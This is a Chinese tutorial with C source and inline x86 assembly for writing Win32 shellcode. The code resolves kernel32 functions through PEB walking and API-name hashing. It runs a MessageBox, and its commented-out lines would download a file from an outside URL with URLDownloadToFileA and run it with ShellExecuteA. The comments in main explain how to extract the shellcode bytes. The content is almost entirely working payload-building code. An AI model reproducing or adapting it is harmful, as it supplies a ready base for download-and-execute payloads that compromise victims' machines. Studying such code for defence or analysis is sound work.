使用C語言編寫win32平台Shellcode
平台:Microsoft Visual C++ 6.0
作者:Cryin (http://hi.baidu.com/justear/)
#include <stdio.h>
#include <Windows.h>
//代碼基於Didier Stevens的文章Writing WIN32 Shellcode With a C-compiler及源代碼
//參考http://blog.didierstevens.com/2010/05/04/writing-win32-shellcode-with-a-c-compiler/
//函數hash值 宏定義 可根據ResolvAddr過程中hash計算過程得出
//Code by Stevens
#define KERNEL32_HASH 0x000d4e88
#define KERNEL32_LOADLIBRARYA_HASH 0x000d5786
#define KERNEL32_GETPROCADDRESSA_HASH 0x00348bfa
//添加自定義函數,直接拷貝MSDN中函數定義,注意函數名不同
//參見 函數掛接
typedef HMODULE (WINAPI *pLoadLibraryA)(LPCTSTR lpFileName);
typedef FARPROC (WINAPI *pGetProcAddressA)(HMODULE hModule, LPCTSTR lpProcName);
typedef int (WINAPI *pMessageBoxA)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);
typedef HINSTANCE (WINAPI *pShellExecuteA)(
HWND hwnd,
LPCTSTR lpVerb,
LPCTSTR lpFile,
LPCTSTR lpParameters,
LPCTSTR lpDirectory,
INT nShowCmd
);
typedef HRESULT (WINAPI *pURLDownloadToFileA)(LPUNKNOWN,LPCSTR,LPCSTR,DWORD,LPBINDSTATUSCALLBACK);
struct ShellCodeInfo
{
pLoadLibraryA fLoadLibraryA;
pGetProcAddressA fGetProcAddressA;
HMODULE User32;
HMODULE Urlmon;
HMODULE shell32;
pMessageBoxA fMessageBoxA;
pShellExecuteA fShellExecuteA;
pURLDownloadToFileA fURLDownloadToFile;
};
void ShellcodeEntry();
void ShellCodeStart(void)
{
__asm
{
call ShellcodeEntry
ret
}
}
void ResolvAddr(pLoadLibraryA *pfLoadLibraryA,pGetProcAddressA *pfGetProcAddressA)
{
pLoadLibraryA fLoadLibraryA;
pGetProcAddressA fGetProcAddressA;
//獲取API函數地址代碼出自The Shellcoders Handbook一書
//支持win 2k/NT/xp/7其它沒測試
__asm
{
push KERNEL32_LOADLIBRARYA_HASH
push KERNEL32_HASH
call ResolvFuncAddr
mov fLoadLibraryA, eax
push KERNEL32_GETPROCADDRESSA_HASH
push KERNEL32_HASH
call ResolvFuncAddr
mov fGetProcAddressA, eax
jmp totheend
ResolvFuncAddr:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ecx
push fs:[0x30]
pop eax
mov eax, [eax+0x0c]
mov ecx, [eax+0x0c]
next_module:
mov edx, [ecx]
mov eax, [ecx+0x30]
push 0x02
mov edi, [ebp+0x08]
push edi
push eax
call hashit
test eax, eax
jz foundmodule
mov ecx, edx
jmp next_module
foundmodule:
mov eax, [ecx+0x18]
push eax
mov ebx, [eax+0x3c]
add eax, ebx
mov ebx, [eax+0x78]
pop eax
push eax
add ebx, eax
mov ecx, [ebx+28]
mov edx, [ebx+32]
mov ebx, [ebx+36]
add ecx, eax
add edx, eax
add ebx, eax
find_procedure:
mov esi, [edx]
pop eax
push eax
add esi, eax
push 1
push [ebp+12]
push esi
call hashit
test eax, eax
jz found_procedure
add edx, 4
add ebx, 2
jmp find_procedure
found_procedure:
pop eax
xor edx, edx
mov dx, [ebx]
shl edx, 2
add ecx, edx
add eax, [ecx]
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x08
hashit:
push ebp
mov ebp, esp
push ecx
push ebx
push edx
xor ecx,ecx
xor ebx,ebx
xor edx,edx
mov eax, [ebp+0x08]
hashloop:
mov dl, [eax]
or dl, 0x60
add ebx, edx
shl ebx, 0x01
add eax, [ebp+16]
mov cl, [eax]
test cl, cl
loopnz hashloop
xor eax, eax
mov ecx, [ebp+12]
cmp ebx, ecx
jz donehash
inc eax
donehash:
pop edx
pop ebx
pop ecx
mov esp, ebp
pop ebp
ret 12
totheend:
}
*pfLoadLibraryA = fLoadLibraryA;
*pfGetProcAddressA = fGetProcAddressA;
}
void LoadShellcode(ShellCodeInfo *scinfo)
{
LPTSTR Title="Cryin";
LPTSTR Message="Hello Shellcode!";
LPTSTR url="http://up.2cto.com/kf/201012/20101217125112766.gif";
LPTSTR savepath="C:\logo.gif";
// MessageBox(NULL,"hello Shellcode!","Cryin",0);
scinfo->fMessageBoxA(NULL,Message,Title,MB_OK);
// scinfo->fURLDownloadToFile(NULL,url,savepath,NULL,NULL);
// scinfo->fShellExecuteA(NULL,0,savepath,0,0,SW_SHOW);
}
//Shellcode 入口函數
void ShellcodeEntry()
{
ShellCodeInfo scinfo;
ResolvAddr(&(scinfo.fLoadLibraryA), &(scinfo.fGetProcAddressA));
scinfo.User32=scinfo.fLoadLibraryA("User32.dll");
scinfo.Urlmon=scinfo.fLoadLibraryA("Urlmon.dll");
scinfo.shell32=scinfo.fLoadLibraryA("shell32.dll");
scinfo.fMessageBoxA=(pMessageBoxA)scinfo.fGetProcAddressA(scinfo.User32,"MessageBoxA");
// scinfo.fShellExecuteA=(pShellExecuteA)scinfo.fGetProcAddressA(scinfo.shell32,"ShellExecuteA");
// scinfo.fURLDownloadToFile=(pURLDownloadToFileA)scinfo.fGetProcAddressA(scinfo.Urlmon,"URLDownloadToFileA");
LoadShellcode(&scinfo);
}
int main()
{
//shellcode的長度:(PDWORD)main - (PDWORD)ShellCodeStart;
//Shellcode起始位置:(PDWORD)ShellCodeStart
//根據上面信息就可將shellcode提取
//這裡本想實現自動提取但未實現。可利用winhex手動提取
ShellcodeEntry();
return 0;
}